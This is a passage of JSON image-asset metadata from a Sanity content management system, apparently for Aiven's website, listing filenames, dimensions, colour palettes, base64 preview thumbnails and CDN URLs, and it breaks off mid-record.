{"_createdAt":"2023-07-18T09:13:37Z","_id":"image-c94eff14344786744c8ee09b9e465a364bf71190-500x500-webp","_rev":"kufTPXDfauM8WA9ggOZuhR","_type":"sanity.imageAsset","_updatedAt":"2023-07-18T09:13:37Z","assetId":"c94eff14344786744c8ee09b9e465a364bf71190","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"esKx6pof~qayM{%MRjoft7Rjt7RjWBt7ayWBofofayRjxufQWBj[WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcGCP/EACQQAAEEAgICAQUAAAAAAAAAAAEAAgMEBREGEgcxExUhIkFh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AKD5bt34cFVp4+Y123JDHLKGk9W6/innha3Y455EsYYXJrdOzESS9vUNcPuqX5MzD6nFbcmLZ892B4A6t7BhK5v4TyHMRc+ZctFzgHEyOkHrfvSDtESteN6RZ+leklqxSdH/AJNB9IgyPPZ5qWclgqyujgmG3xgDqSshhOPY76nWcYdlwMp3+3bREFTsXpqTmwwdQwNB0RtERB//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474747","foreground":"#fff","population":4.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":5.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":2.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":5.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"large-Yotam Cohen.webp","path":"images/sczeoy4w/production/c94eff14344786744c8ee09b9e465a364bf71190-500x500.webp","sha1hash":"c94eff14344786744c8ee09b9e465a364bf71190","size":11234,"uploadId":"273Hygr08E9Bj8jrmMtPAZqP8CCcNh9U","url":"https://cdn.sanity.io/images/sczeoy4w/production/c94eff14344786744c8ee09b9e465a364bf71190-500x500.webp"} {"_createdAt":"2023-12-13T08:40:29Z","_id":"image-c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850-webp","_rev":"E7yqJcdu3p6SmgvthXDLYV","_type":"sanity.imageAsset","_updatedAt":"2023-12-13T10:31:05Z","altText":null,"assetId":"c954368fddcd2bd86a023586ebf5b586a175e0ed","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfO4C[t7?bt8xs-=oHWY%Ms:~pxZM{j[RjIAM}oIWAt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6227027027027028,"height":1850,"width":3002},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGB//EACMQAAIBBAEFAAMAAAAAAAAAAAECBAADBREhBgcSEzEVYYH/xAAVAQEBAAAAAAAAAAAAAAAAAAADAv/EABwRAAICAgMAAAAAAAAAAAAAAAECABESITFBYf/aAAwDAQACEQMRAD8A03uf3CxFqLKw7XmXJKwNsJs8745FL9N9xPZFXBvI85fr8Vm3G0C5HzVaJa6OwFt2f8ZHdmOyXXyO/wC1KR+3PTr5qTLMW4LovexQH0Fb9CmySxQ3DpuzKvpO7fTC2VmzBLkAkNdX4aKexeMjQYosx1ITZPJ3zRQMXZi18+SwABU//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3f61","foreground":"#fff","population":1.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#061b42","foreground":"#fff","population":3.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5381f2","foreground":"#fff","population":5.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bf99","foreground":"#000","population":2.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74c4fc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f9f53","foreground":"#000","population":2.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5381f2","foreground":"#fff","population":5.44,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"conrad-moodboard.webp","path":"images/sczeoy4w/production/c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850.webp","sha1hash":"c954368fddcd2bd86a023586ebf5b586a175e0ed","size":257784,"title":null,"uploadId":"oDERsHKt3vM76Tyftpk2gLY1fAgQvWOR","url":"https://cdn.sanity.io/images/sczeoy4w/production/c954368fddcd2bd86a023586ebf5b586a175e0ed-3002x1850.webp"} {"_createdAt":"2022-07-06T08:12:07Z","_id":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9fOdo6","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:20:15Z","altText":"Aiven for Apache Flink® logo","assetId":"c96d109662fa0afd283a3ce7fbd1af8a8005f682","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFd0lEQVQ4jVXUSVOaWRQG4OvCP+CfcOlfMMvetoCKgiCKfCDgPBFiBJxwwFlBUEHSSUxMFBxRMGhDcETiAAKfypCu9MpstMsqPafrS9mpzuJsn3rfU/dcciDoJsyEeDriFxkyfGUDWTvlQ8+2xSPaT5Jxj4cypjelpn9cMvPdmmwqvVo5416WW7VLCtszp2I2y6GwZ7iVk8SpsJMF5StC9oV6slvSTfaEPZm7pX3Zn0UGylc2OL9TPhz1ike/b1WM37slxscN6eTjusxyv1Y5fbMin4kuy20fnIpZqUNhz15U2jMX6h3EqbQT4hMNkqOSzswDQXfOnrBHFxD1hfwiw62fGsFA/RR+brSiV2FGN2XEDekkrsssuFo5jSty6+2SwhZyKmZ1DqU9h0E35WbCVM0IlnRkHwm6dAdCfWxP2POwKx7A4HMrREyrEDG7YF/zFj7JTOCWGGFDaoZ1mQUYdFlufVhSzMacCjuDZjP1yQlPkxXi66hgSUfoSND1cCDohiP5CIT75yFu3UD61Racji6Dr2YKPBXj4KZMTNL/UHhCmaSUQ2HPIqfFbc9OeNoPIb7u9rikA48EXRCqGoMLwzzGTCtA2zbxwuLC4+73GGiZRW+VBdxSBmWSTsFq5QyTlKk/71TM5pLzolbtWXFb9ISnxRBPB8el3XDeYkZ6wglXMy68ZFLa3Ei/9mJ0dguDfQu4UzvzA3X9ikaXFDYNiXDVnnBR6/ez4jY8KdbAKdWHdP8cXJmWMD66iAyaeLeNycXPmHTuIj23g0c9H9GrNMMmZUKXzAxrsilcrZy5WZZb3SRaqEpHuOr7cFErnha9hHBlPyRGP2DCsozX5hVMzX3C9EcfJplxBDDh2MXI9Cb6m2zokUzAptQELqkZ12RT96uV02kSL2i5ixaqHiNcNZ5zWyFc1gmX7VZMmZd+ogmbC5PvvD9R+u02HmjfoFc6AU8oU/9xXTZ1R+j8prt4QfNjtFCFEa4awsUvISLR40X9KEYaxvG80YgR3Sxe2zbwqzOAyQU/0nYPhrrf459yI2xVjIGHMuKmdPLRJTXfkStOQ/oyv+k+XtCM0UIVMOh5USueCdsxXDWEF2oLs1P8y+HDbxuHeDntwtPON3iosqJPNg5e8QhsScaZh3+/SZlS5Jpd777iNNxc5jdhvKAFooXPMcJ9ATF5PyaH3mHSuIgpyxJ+c/ox9dqDp+oZ3KeGMFAxBD7xEO6UD4O3YhS3JOM3HsmEmyRZtZoEuy56xWlAOr8JYgzKfY60sh9Sfa+RfmnBmMqECeMixvvmMCgZwD2BHgKlffhZZABf+SDsiIfRWzEa3aoY05AUqyY3yaqdT7Drbv+PxoQajMt6ICzUYZjqwWvDHMa7XuGxuBcOSrpxr7QXAqJ+8JcZ0Fc+eLtTPjzvFY/mklRedVaKVUMlWbWhBLvu4YrTAD/Qwha44Koxwm8DunEM0pMOuNT/AaHyHjzkd8KBUA9P6IO/bCDkKxuktsuHs0gyrzojlVednWLV6JKs2liCXf/wS9JSLSS0U/DVuADxF2b4IuyEIL8djgRdeCDUP+yV9sYCon6dX2TI3hENZRCa00zSeVWZ6bzqnB8ouzZ0za6/veI0Ip3fjHHeC6RleqSrBzAi7sKnE8VgScftoaArtC/U6/ZKe3MCov7MY14bISlWNfn7N4qk86ozmaRJVg2VYNfNX3Pqo5ecxpt4QfN9rFD1eMFVP4aLWu/PittuTnjaixC/fT5Y0kkdCrqy9wX6TD9fx3zShHz9XUlSeTUkzlEx+8xIsmqykqza3Gt2neaK0+C+zG9MxwuamWu6i3DVqfOiVvdpcZvmC0+bG+K3ZwX5nRnbIgPZLe0lu8Je8i8OCg6Wh57L1wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#583c54","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#701c33","foreground":"#fff","population":0.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b16d94","foreground":"#fff","population":8.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d299b1","foreground":"#000","population":2.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6a8cc","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b16d94","foreground":"#fff","population":8.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4557d","foreground":"#fff","population":4.81,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-flink.svg","path":"images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg","sha1hash":"c96d109662fa0afd283a3ce7fbd1af8a8005f682","size":1671,"title":"Aiven for Apache Flink® logo","uploadId":"jWVQi2cAPd8UFj7gtzlubFKiMiFUuGLZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg"} {"_createdAt":"2024-06-24T18:42:12Z","_id":"image-c988ddeb2731e9e51c786067b796a2209fc24715-1830x544-png","_rev":"UEcq9VZT1LAO45csdaOqES","_type":"sanity.imageAsset","_updatedAt":"2024-06-24T18:42:12Z","assetId":"c988ddeb2731e9e51c786067b796a2209fc24715","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D07nefZx000000wT9D9W?w?d","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.363970588235294,"height":544,"width":1830},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAACToAAAk6AGCYwUcAAABnElEQVQYlS3Qb2sScQDA8XsHQcQook10S7y73+70vN/vvPO/Trc2WUSwYLEn0VYUVOxPCzSZ/+bEqXOmC3rSK/0GozfwefDRHjze4+HTfZajhxjONyx5hnC/I+QPbK+B5f1EqCa238b2e9ipPon0EJWf4BVvsYMpEWvEijEiJCZoj57ts7RyQCj2ASGPEe4pRuIEO3mOo+qIZB0hm7hBF9vrortdTHWFlbomHoxJpMeYaszz+ISIPUWLGO+JGEfoyS94pSaqcIGTqlPINKkWOniZFkG+x2Z1hJ8dINQl66kB8WCEV7xh6+WUzd0Zbm6OoeZoZvIThvMZ3flKpnpJbe8P5e0xlUqX2nafbLmHX+iRKw6Q6T6238fJDEmVphR3FtRez3nxaoG/8Rs7fYe2Jg5ZNY8I6x+RuTa7b/5S3rklu9GitNVBZluYsokpLxCy8x+8vgfTlTleaYYqzHHzd1jBAm1p+e394ZPwO9bWj4n7bUy3QdQ+IWqdEjbOCOnnrFoNovEWMaeL4V4hvCGmGhFzxxjqBtOboctf/AMKcuYI9L9hZQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#424a89","foreground":"#fff","population":3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041874","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3bddd","foreground":"#000","population":6.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3bddd","foreground":"#000","population":6.18,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8895d5","foreground":"#000","population":1.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676ea7","foreground":"#fff","population":4.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2a8e","foreground":"#fff","population":4.89,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"CDC image draft.PNG","path":"images/sczeoy4w/production/c988ddeb2731e9e51c786067b796a2209fc24715-1830x544.png","sha1hash":"c988ddeb2731e9e51c786067b796a2209fc24715","size":176298,"uploadId":"Y7zxplWWEi9VWw6mANMbvyGX3DhkfMqm","url":"https://cdn.sanity.io/images/sczeoy4w/production/c988ddeb2731e9e51c786067b796a2209fc24715-1830x544.png"} {"_createdAt":"2024-06-17T13:31:05Z","_id":"image-c990ea0ff1fe3e6951b292da73c0bc33046d1a47-8001x4501-jpg","_rev":"bhft6lx24vX3iwTCrd9kK0","_type":"sanity.imageAsset","_updatedAt":"2024-06-17T13:31:05Z","assetId":"c990ea0ff1fe3e6951b292da73c0bc33046d1a47","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEEB]u}s^%,o%g?c$K?HOF-V~Ar;R4w{S4","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7776049766718507,"height":4501,"width":8001},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBgf/xAAhEAABBAICAgMAAAAAAAAAAAABAgMEEQAFBhITMRRBQv/EABUBAQEAAAAAAAAAAAAAAAAAAAQC/8QAHxEAAgIBBAMAAAAAAAAAAAAAAQIAA1EEFCExYeHw/9oADAMBAAIRAxEAPwBBy7bbOpbqJb3hZX3Wptf5PrKG7P2Ut0fG2E1QFKJDhoDJuObSbLYbiyH1ORyehQQKIr1jUpEKI+uKkNqAAsD6vF6e0U0l0XkfYirXNjhGPfj3HHGJ+wGuV32LptwlJU5RqhhmcyZkhMl0JeWB29A4ZW6OIE1DM//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#562b4f","foreground":"#fff","population":5.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#060761","foreground":"#fff","population":5.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#562b4f","foreground":"#fff","population":5.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9398bd","foreground":"#000","population":3.31,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da8f75","foreground":"#000","population":1.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7d7e9f","foreground":"#fff","population":3.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d05120","foreground":"#fff","population":4.45,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"data-revolution-ep01_meta-preview.jpg","path":"images/sczeoy4w/production/c990ea0ff1fe3e6951b292da73c0bc33046d1a47-8001x4501.jpg","sha1hash":"c990ea0ff1fe3e6951b292da73c0bc33046d1a47","size":8290982,"uploadId":"2OtPUjXkY2AQ8jgkoAs1GZqRpWxBgwyO","url":"https://cdn.sanity.io/images/sczeoy4w/production/c990ea0ff1fe3e6951b292da73c0bc33046d1a47-8001x4501.jpg"} {"_createdAt":"2024-08-23T08:25:05Z","_id":"image-c9b49f8393d6a84b9551d015e03c685e059ce199-962x1212-png","_rev":"jVH4MF99ugSidFLykto3KY","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T08:25:05Z","assetId":"c9b49f8393d6a84b9551d015e03c685e059ce199","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dMGu8,H?5l-=}t$iI;Sg00-A#-R*v|v}nikX=b~WNH9Z","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7937293729372937,"height":1212,"width":962},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#33375b","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#520b07","foreground":"#fff","population":0.13,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65009","foreground":"#fff","population":1.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a4d5","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb474","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a0775a","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65009","foreground":"#fff","population":1.8,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-multi-cloud-solution.png","path":"images/sczeoy4w/production/c9b49f8393d6a84b9551d015e03c685e059ce199-962x1212.png","sha1hash":"c9b49f8393d6a84b9551d015e03c685e059ce199","size":88982,"uploadId":"ddzcy1yyfUo14bvCKyhKWFtu0nxQiDAP","url":"https://cdn.sanity.io/images/sczeoy4w/production/c9b49f8393d6a84b9551d015e03c685e059ce199-962x1212.png"} {"_createdAt":"2023-09-13T14:01:34Z","_id":"image-c9bb2f93daaa5e16de678e6afaf0da701f9ccb8a-1264x391-svg","_rev":"ZpixvKy5oWJdKYmQwgCecP","_type":"sanity.imageAsset","_updatedAt":"2023-09-13T14:01:34Z","assetId":"c9bb2f93daaa5e16de678e6afaf0da701f9ccb8a","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.2327365728900257,"height":391,"width":1264},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAmklEQVQYlZ3F3QrBcBzH4d8WSSiSA2vkgGuiSHkpFMrQNjaueef/Pl9xB3Pw9Jimxl9mHto00LkHtwC9xug9wbQwSpsbLH10bKNkAEmIHkPIRxhro7SVwdaHSwdlA/QIUBqgZ4hpbyptZ9LBl6KmlHSltCdlfSkPZJzNlXb67jmiquNed8Qtx7P7Y4qs+NvVK3TzC90rheLazweD6iEUYNDRUQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954103","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c4404","foreground":"#fff","population":1.29,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c04","foreground":"#fff","population":21.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964702","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8f31","foreground":"#000","population":3.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974001","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c04","foreground":"#fff","population":21.3,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-brand-orange-pattern-right.svg","path":"images/sczeoy4w/production/c9bb2f93daaa5e16de678e6afaf0da701f9ccb8a-1264x391.svg","sha1hash":"c9bb2f93daaa5e16de678e6afaf0da701f9ccb8a","size":3789,"uploadId":"jNK43Am6uRk4bic3hQQL87wHSj7GrSqs","url":"https://cdn.sanity.io/images/sczeoy4w/production/c9bb2f93daaa5e16de678e6afaf0da701f9ccb8a-1264x391.svg"} {"_createdAt":"2024-01-10T10:11:42Z","_id":"image-c9c875723934f5d88f8a8933df566b6e11cf641b-5000x2617-png","_rev":"cYm7NAkc6EQoa8jfAJaRiD","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T10:11:42Z","assetId":"c9c875723934f5d88f8a8933df566b6e11cf641b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MAGIc+O#00H;y?[eI+%g%25*00nD-#X-#9","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9105846388995031,"height":2617,"width":5000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAC4jAAAuIwF4pT92AAADNUlEQVQokQEqA9X8AG2nTgB0sFcAjrRPAP+3MgD//wAAAL3/AN5wdAvnWEslrUtHMVdCRys+RU8cV12CCqCBpAbNeDE003sobdZ/JkbThjMK3n8EAP+RAAAAAAwAAFaVNwVdoD4Nb5k8C6xyKg65ayARs45rC8/A1CLVtsNVxK6+a6+vwWi1uslXxMjcK7ikvAzVeC863X8qfN+DKFDYhzcMAAD/AItxhQF0gNsAAFGPOB1XmD5JbpU9P8Z+K0DbfCJP1o5ILMDP50y90eyru8zo0MLN39HV1NK+3djSaMq0uRjXdy064IItfeOFKlDKez0PLzucBlFSjgdmcskBAEiFNShOjTtkZ406V8l+LFTifiVl3I5GObjP6Fqx0/HGsc3s8MDO3fPZ1sjf4tfDfc2wrB3Xdy8634QyfeOGLlHGdj0ROjqICklLiglibsQCADl0MRE/ezMqVII9KH+QWTyFk1pPkJ1yKrzP6T670u+JvM/rp8XP4qnV1daa2dbUVsOrsxbXeTA74IQwf+OIL1LUgz4OGzO3A2BbjwRpds4BAAVNSwEAAAAAGpiDCyarlUYmq5VnNq6fMsfT7jDL1O5rzNLrg9TW6oXa3O132d70QMC30w/QdDMt2X4yYdyDMj7XikIJ+4IAAOOaYwCPnf8AADTMvwARgnEAG6OTByCikzgcoZFSQqymLMrX8U3Az+ywxM/o19rX4drk3N7F4+HsasrW9BRji2keb5VvQ22VbSprlXQGeJ9mAFaLNgCdq/8AABlvVgAAz/8AFHd2AhuBgg4HdngTf7HBEcvY80+7zuy2wc/o3tvX3eHk2dXN4t3lcL/Z9RYcqpUtJq6ZZiCrl0ASp5MIHqqRABiolgCAjesAAGj//wDT//8A